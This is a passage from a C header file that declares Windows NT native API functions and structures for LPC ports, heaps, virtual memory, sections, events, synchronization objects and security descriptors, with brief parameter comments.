listener.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PUNICODE_STRING PortName,\n    IN  PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n    IN  OUT PPORT_VIEW ClientView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n    OUT PULONG MaxMessageLength OPTIONAL,\n    IN  OUT PVOID ConnectionInformation OPTIONAL,\n    IN  OUT PULONG ConnectionInformationLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PUNICODE_STRING PortName,\n    IN  PSECURITY_QUALITY_OF_SERVICE SecurityQos,\n    IN  OUT PPORT_VIEW ClientView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ServerView OPTIONAL,\n    OUT PULONG MaxMessageLength OPTIONAL,\n    IN  OUT PVOID ConnectionInformation OPTIONAL,\n    IN  OUT PULONG ConnectionInformationLength OPTIONAL\n    );\n\n\n/*++\n\n    NtListenPort\n    ============\n\n    Listens on a port for a connection request message on the server side.\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ConnectionRequest - Points to a caller-allocated buffer\n        or variable that receives the connect message sent to\n        the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtListenPort(\n    IN  HANDLE PortHandle,\n    OUT PPORT_MESSAGE RequestMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwListenPort(\n    IN  HANDLE PortHandle,\n    OUT PPORT_MESSAGE RequestMessage\n    );\n\n/*++\n\n    NtAcceptConnectPort\n    ===================\n\n    Accepts or rejects a connection request on the server side.\n\n    PortHandle - Points to a variable that will receive the port object\n        handle if the call is successful.\n\n    PortContext - A numeric identifier to be associated with the port.\n\n    ConnectionRequest - Points to a caller-allocated buffer or variable\n        that identifies the connection request and contains any connect\n        data that should be returned to requestor of the connection\n\n    AcceptConnection - Specifies whether the connection should\n        be accepted or not\n\n    ServerView - Optionally points to a structure describing\n        the shared memory region used to send large amounts of data to the\n        requestor; if the call is successful, this will be updated\n\n    ClientView - Optionally points to a caller-allocated buffer\n        or variable that receives information on the shared memory\n        region used by the requestor to send large amounts of data to the\n        caller\n\n--*/\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAcceptConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PVOID PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ConnectionRequest,\n    IN  BOOLEAN AcceptConnection,\n    IN  OUT PPORT_VIEW ServerView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ClientView OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwAcceptConnectPort(\n    OUT PHANDLE PortHandle,\n    IN  PVOID PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ConnectionRequest,\n    IN  BOOLEAN AcceptConnection,\n    IN  OUT PPORT_VIEW ServerView OPTIONAL,\n    OUT PREMOTE_PORT_VIEW ClientView OPTIONAL\n    );\n\n\n/*++\n\n    NtCompleteConnectPort\n    =====================\n\n    Completes the port connection process on the server side.\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompleteConnectPort(\n    IN  HANDLE PortHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCompleteConnectPort(\n    IN  HANDLE PortHandle\n    );\n\n\n/*++\n\n    NtRequestPort\n    =============\n\n    Sends a request message to a port (client side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    RequestMessage - Points to a caller-allocated buffer or variable\n        that specifies the request message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestPort (\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwRequestPort (\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage\n    );\n\n/*++\n\n    NtRequestWaitReplyPort\n    ======================\n\n    Sends a request message to a port and waits for a reply (client side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    RequestMessage - Points to a caller-allocated buffer or variable\n        that specifies the request message to send to the port.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that receives the reply message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRequestWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage,\n    OUT PPORT_MESSAGE ReplyMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwRequestWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE RequestMessage,\n    OUT PPORT_MESSAGE ReplyMessage\n    );\n\n\n/*++\n\n    NtReplyPort\n    ===========\n\n    Sends a reply message to a port (Server side)\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that specifies the reply message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE ReplyMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyPort(\n    IN  HANDLE PortHandle,\n    IN  PPORT_MESSAGE ReplyMessage\n    );\n\n/*++\n\n    NtReplyWaitReplyPort\n    ====================\n\n    Sends a reply message to a port and waits for a reply message\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    ReplyMessage - Points to a caller-allocated buffer or variable\n        that specifies the reply message to send to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  OUT PPORT_MESSAGE ReplyMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReplyPort(\n    IN  HANDLE PortHandle,\n    IN  OUT PPORT_MESSAGE ReplyMessage\n    );\n\n/*++\n\n    NtReplyWaitReceivePort\n    ======================\n\n    Optionally sends a reply message to a port and waits for a\n    message\n\n    PortHandle - A handle to a port object. The handle doesn't need\n        to grant any specific access.\n\n    PortContext - Optionally points to a variable that receives\n        a numeric identifier associated with the port.\n\n    ReplyMessage - Optionally points to a caller-allocated buffer\n        or variable that specifies the reply message to send to the port.\n\n    ReceiveMessage - Points to a caller-allocated buffer or variable\n        that receives the message sent to the port.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReplyWaitReceivePort(\n    IN  HANDLE PortHandle,\n    OUT PVOID *PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ReplyMessage OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReplyWaitReceivePort(\n    IN  HANDLE PortHandle,\n    OUT PVOID *PortContext OPTIONAL,\n    IN  PPORT_MESSAGE ReplyMessage OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage\n    );\n\n//-----------------------------------------------------------------------------\n// Heap functions\n\n#define HEAP_NO_SERIALIZE               0x00000001\n#define HEAP_GROWABLE                   0x00000002\n#define HEAP_GENERATE_EXCEPTIONS        0x00000004\n#define HEAP_ZERO_MEMORY                0x00000008\n#define HEAP_REALLOC_IN_PLACE_ONLY      0x00000010\n#define HEAP_TAIL_CHECKING_ENABLED      0x00000020\n#define HEAP_FREE_CHECKING_ENABLED      0x00000040\n#define HEAP_DISABLE_COALESCE_ON_FREE   0x00000080\n#define HEAP_CREATE_ALIGN_16            0x00010000\n#define HEAP_CREATE_ENABLE_TRACING      0x00020000\n#define HEAP_MAXIMUM_TAG                0x0FFF\n#define HEAP_PSEUDO_TAG_FLAG            0x8000\n\n//\n// Data structure for heap definition. This includes various\n// sizing parameters and callback routines, which, if left NULL,\n// result in default behavior\n//\n\ntypedef struct RTL_HEAP_PARAMETERS {\n    ULONG Length;        //sizeof(RTL_HEAP_PARAMETERS)\n    ULONG SegmentReserve;\n    ULONG SegmentCommit;\n    ULONG DeCommitFreeBlockThreshold;\n    ULONG DeCommitTotalFreeThreshold;\n    ULONG MaximumAllocationSize;\n    ULONG VirtualMemoryThreshold;\n    ULONG InitialCommit;\n    ULONG InitialReserve;\n    PVOID CommitRoutine;\n    ULONG Reserved[2];\n} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS;\n\n#define RtlProcessHeap() (HANDLE)(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap)\n\nNTSYSAPI\nHANDLE\nNTAPI\nRtlCreateHeap (\n    IN ULONG Flags,\n    IN PVOID BaseAddress OPTIONAL,\n    IN ULONG SizeToReserve,\n    IN ULONG SizeToCommit,\n    IN BOOLEAN Lock OPTIONAL,\n    IN PRTL_HEAP_PARAMETERS Definition OPTIONAL\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCreateTagHeap(\n    IN PVOID HeapHandle,\n    IN ULONG Flags,\n    IN PWSTR TagPrefix OPTIONAL,\n    IN PWSTR TagNames\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlDestroyHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlAllocateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN SIZE_T Size\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlReAllocateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN LPVOID Address,\n    IN SIZE_T Size\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlCompactHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlLockHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlUnlockHeap (\n    IN HANDLE HeapHandle\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlSizeHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidateHeap (\n    IN HANDLE HeapHandle,\n    IN ULONG Flags,\n    IN PVOID Address OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryHeapInformation (\n    IN PVOID HeapHandle,\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\n    OUT PVOID HeapInformation OPTIONAL,\n    IN SIZE_T HeapInformationLength OPTIONAL,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetHeapInformation (\n    IN PVOID HeapHandle,\n    IN HEAP_INFORMATION_CLASS HeapInformationClass,\n    IN PVOID HeapInformation OPTIONAL,\n    IN SIZE_T HeapInformationLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Virtual memory functions\n\ntypedef enum _MEMORY_INFORMATION_CLASS\n{\n    MemoryBasicInformation,                 // 0x00 MEMORY_BASIC_INFORMATION\n    MemoryWorkingSetList,\n    MemorySectionName,                      // 0x02 UNICODE_STRING\n    MemoryBasicVlmInformation,\n    MemoryWorkingSetInfoListInformatiom     // 0x04 Array of {[in]Offset, [out]Flags} to receive the image information\n} MEMORY_INFORMATION_CLASS;\n\ntypedef struct _MEMORY_WORKING_SET_ENTRY\n{\n    PVOID Address;\n    ULONG Flags;\n} MEMORY_WORKING_SET_ENTRY, *PMEMORY_WORKING_SET_ENTRY;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAllocateVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwAllocateVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFreeVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFreeVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG FreeType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtProtectVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG NewProtect,\n    OUT PULONG OldProtect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwProtectVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    IN ULONG NewProtect,\n    OUT PULONG OldProtect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesWritten OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWriteVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesWritten OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    OUT PIO_STATUS_BLOCK IoStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFlushVirtualMemory (\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN OUT PSIZE_T RegionSize,\n    OUT PIO_STATUS_BLOCK IoStatus\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Section functions\n\ntypedef enum _SECTION_INHERIT\n{\n    ViewShare = 1,\n    ViewUnmap = 2\n\n} SECTION_INHERIT;\n\n\ntypedef enum _SECTION_INFORMATION_CLASS\n{\n    SectionBasicInformation,\n    SectionImageInformation\n\n} SECTION_INFORMATION_CLASS, *PSECTION_INFORMATION_CLASS;\n\n\n/*++\n\n    NtCreateSection\n    ===============\n\n    Creates a section object.\n\n    SectionHandle - Points to a variable that will receive the section\n        object handle if the call is successful.\n\n    DesiredAccess - Specifies the type of access that the caller requires\n        to the section object. This parameter can be zero, or any combination\n        of the following flags:\n\n        SECTION_QUERY       - Query access\n        SECTION_MAP_WRITE   - Can be written when mapped\n        SECTION_MAP_READ    - Can be read when mapped\n        SECTION_MAP_EXECUTE - Can be executed when mapped\n        SECTION_EXTEND_SIZE - Extend access\n        SECTION_ALL_ACCESS  - All of the preceding +\n                              STANDARD_RIGHTS_REQUIRED\n\n    ObjectAttributes - Points to a structure that specifies the object�s attributes.\n        OBJ_OPENLINK is not a valid attribute for a section object.\n\n    MaximumSize - Optionally points to a variable that specifies the size,\n        in bytes, of the section. If FileHandle is zero, the size must be\n        specified; otherwise, it can be defaulted from the size of the file\n        referred to by FileHandle.\n\n    SectionPageProtection - The protection desired for the pages\n        of the section when the section is mapped. This parameter can take\n        one of the following values:\n\n        PAGE_READONLY\n        PAGE_READWRITE\n        PAGE_WRITECOPY\n        PAGE_EXECUTE\n        PAGE_EXECUTE_READ\n        PAGE_EXECUTE_READWRITE\n        PAGE_EXECUTE_WRITECOPY\n\n    AllocationAttributes - The attributes for the section. This parameter must\n        be a combination of the following values:\n\n        SEC_BASED     0x00200000    // Map section at same address in each process\n        SEC_NO_CHANGE 0x00400000    // Disable changes to protection of pages\n        SEC_IMAGE     0x01000000    // Map section as an image\n        SEC_VLM       0x02000000    // Map section in VLM region\n        SEC_RESERVE   0x04000000    // Reserve without allocating pagefile storage\n        SEC_COMMIT    0x08000000    // Commit pages; the default behavior\n        SEC_NOCACHE   0x10000000    // Mark pages as non-cacheable\n\n    FileHandle - Identifies the file from which to create the section object.\n        The file must be opened with an access mode compatible with the protection\n        flags specified by the Protect parameter. If FileHandle is zero,\n        the function creates a section object of the specified size backed\n        by the paging file rather than by a named file in the file system.\n\n--*/\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN  ULONG SectionPageProtection,\n    IN  ULONG AllocationAttributes,\n    IN  HANDLE FileHandle OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN  PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN  ULONG SectionPageProtection,\n    IN  ULONG AllocationAttributes,\n    IN  HANDLE FileHandle OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSection (\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenSection (\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtMapViewOfSection (\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN SIZE_T CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PSIZE_T ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwMapViewOfSection (\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID *BaseAddress,\n    IN ULONG_PTR ZeroBits,\n    IN ULONG CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PULONG ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Protect\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnmapViewOfSection (\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnmapViewOfSection (\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtExtendSection (\n    IN HANDLE SectionHandle,\n    IN OUT PLARGE_INTEGER SectionSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwExtendSection (\n    IN HANDLE SectionHandle,\n    IN OUT PLARGE_INTEGER SectionSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySection (\n    IN HANDLE SectionHandle,\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\n    OUT PVOID SectionInformation,\n    IN SIZE_T Length,\n    OUT PSIZE_T ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySection (\n    IN HANDLE SectionHandle,\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\n    OUT PVOID SectionInformation,\n    IN SIZE_T Length,\n    OUT PSIZE_T ResultLength OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Synchronization\n\n//\n// Wait type\n//\n\ntypedef enum _WAIT_TYPE {\n    WaitAll,\n    WaitAny\n    } WAIT_TYPE;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForSingleObject (\n    IN HANDLE Handle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForSingleObject (\n    IN HANDLE Handle,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForMultipleObjects (\n    IN ULONG Count,\n    IN HANDLE Handle[],\n    IN WAIT_TYPE WaitType,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWaitForMultipleObjects (\n    IN ULONG Count,\n    IN HANDLE Handle[],\n    IN WAIT_TYPE WaitType,\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER Timeout OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Event support\n\ntypedef enum _EVENT_INFORMATION_CLASS {\n    EventBasicInformation    // = 0\n} EVENT_INFORMATION_CLASS;\n\ntypedef struct _EVENT_BASIC_INFORMATION {\n    EVENT_TYPE EventType;\n    LONG EventState;\n} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION;\n\n//\n// Event handling routines\n//\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClearEvent (\n    IN HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClearEvent (\n    IN HANDLE Handle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtPulseEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwPulseEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtResetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwResetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEvent (\n    IN HANDLE Handle,\n    OUT PLONG PreviousState OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenEvent (\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEvent (\n    IN HANDLE EventHandle,\n    IN EVENT_INFORMATION_CLASS EventInfoClass,\n    OUT PVOID EventInfo,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEvent (\n    IN HANDLE EventHandle,\n    IN EVENT_INFORMATION_CLASS EventInfoClass,\n    OUT PVOID EventInfo,\n    IN ULONG Length,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Mutant support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateMutant(\n    OUT PHANDLE MutantHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN BOOLEAN InitialOwner\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenMutant(\n    OUT PHANDLE MutantHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReleaseMutant(\n    IN HANDLE MutantHandle,\n    IN PLONG PreviousCount OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Semaphore support\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSemaphore(\n    OUT PHANDLE SemaphoreHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN ULONG InitialCount,\n    IN ULONG MaximumCount\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSemaphore(\n    OUT PHANDLE SemaphoreHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// EventPair support\n\n#define EVENT_PAIR_ALL_ACCESS ( STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE )\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateEventPair(\n    OUT PHANDLE EventPairHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEventPair(\n    OUT PHANDLE EventPairHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL\n    );\n\n\n//-----------------------------------------------------------------------------\n// Security descriptor functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateSecurityDescriptor (\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN ULONG Revision\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAbsoluteToSelfRelativeSD(\n    IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n    IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n    IN OUT PULONG BufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSelfRelativeToAbsoluteSD(\n    IN OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n    OUT PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n    IN OUT PULONG AbsoluteSecurityDescriptorSize,\n    IN OUT PACL Dacl,\n    IN OUT PULONG DaclSize,\n    IN OUT PACL Sacl,\n    IN OUT PULONG SaclSize,\n    IN OUT PSID Owner,\n    IN OUT PULONG OwnerSize,\n    IN OUT PSID PrimaryGroup,\n    IN OUT PULONG PrimaryGroupSize\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetOwnerSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    OUT PSID *Owner,\n    OUT PBOOLEAN OwnerDefaulted\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetOwnerSecurityDescriptor(\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n    IN PSID Owner OPTIONAL,\n    IN BOOLEAN OwnerDefaulted OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetGroupSecurityDescriptor(\n    IN 